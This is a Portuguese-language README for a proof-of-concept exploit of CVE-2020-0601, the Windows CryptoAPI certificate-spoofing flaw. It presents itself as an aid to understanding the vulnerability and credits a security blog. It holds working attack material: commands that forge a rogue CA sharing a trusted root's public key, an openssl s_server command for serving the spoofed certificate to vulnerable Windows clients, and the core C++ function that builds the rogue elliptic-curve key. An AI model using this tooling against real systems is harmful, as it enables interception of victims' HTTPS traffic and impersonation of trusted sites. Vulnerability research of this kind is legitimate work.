
Prova de conceito de exploit para CVE-2020-0601 (spoofing do CryptoAPI do Windows) que gera certificados de CA fraudulentos para interceptar tráfego HTTPS, com código-fonte detalhado explicando o ataque de curva elíptica.
O código-fonte desta ferramenta tem a finalidade de ajudar na compreensão da vulnerabilidade CVE-2020-0601 descoberta no Windows Crypto API, veja a visão geral do CERT.
A própria ferramenta pode ser usada para produzir um certificado para um domínio arbitrário que será assinado por uma autoridade de certificação maliciosa. Esta ferramenta produz uma CA maliciosa com a mesma chave pública daquela fornecida na linha de comando.
Quando um navegador web de uma compilação vulnerável do Windows acessa este certificado, ele será considerado confiável. Isso permite que um atacante posicionado adequadamente na rede intercepte o tráfego da vítima.
Execute a ferramenta fornecendo o caminho para um certificado Windows confiável:
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt
No exemplo acima, é usada a USERTrust ECC Certification Authority com a seguinte chave pública:
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79
A ferramenta salvará vários certificados e chaves no seu diretório de trabalho atual:
test-cve_evil-ca.crt -- evil CA
test-cve_evil-privkey.key -- evil CA's private key in PEM format
test-cve_evil-privkey-pk8.key -- evil CA's private key in PKCS#8 format
test-cve_host-cert.crt -- target host's certificate (example.com by default)
test-cve_host-privkey.key -- target host's private key (example.com by default)
Para testar os certificados, execute openssl s_server da seguinte forma e redirecione para ele as requisições de https://example.com/ a partir do seu Windows vulnerável:
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443
Certifique-se de que o certificado original está em cache!
O resultado deve se parecer com este:

cmake é usado para gerar o arquivo make para compilar esta ferramenta. Como dependências, as seguintes bibliotecas são necessárias:
Compilando:
mkdir build
cd build
cmake ..
make
Uma descrição abrangente (relativamente) será adicionada em algum momento ao site da Gremwell.
Comece olhando o arquivo main.cpp. Ele chama vários wrappers OpenSSL que são importantes, mas não estão relacionados à vulnerabilidade em si. A parte mais interessante está no arquivo cve-2020-0601_poc.cpp:
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
bool doSave, const char *evilPrivKeyFileName)
{
// load public key of the provided certificate into native CryptoPP type
DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
caPubKeyRawLen, true).Ref());
// generate a private key using the same curve as in the provided CA certificate
CryptoPP::AutoSeededRandomPool prng;
DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
// get the private key elliptic curve parameters
CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
// calculate an inverse value of the private key
CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
// produce our custom generator (base point) as a multiplication of the inverse value of our private key
// and the public key of the provided CA certificate
ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
// create an "evil" private key object using the base private's key exponent and curve but
// with our "evil" generator (base point)
DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
// convert evil private key into PKCS8 format
CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
*outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
if (doSave) {
// save it as-is so this can be imported by some tools
evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
}
// the code below converts the key to DER format
// however, as we have here our custom curve (not the "named" one), most of the
// tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
*outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif
return true;
}
Os comentários aqui são bastante autoexplicativos. :-)
Agradecimentos ao blog da Kudelski Security e às referências mencionadas nele.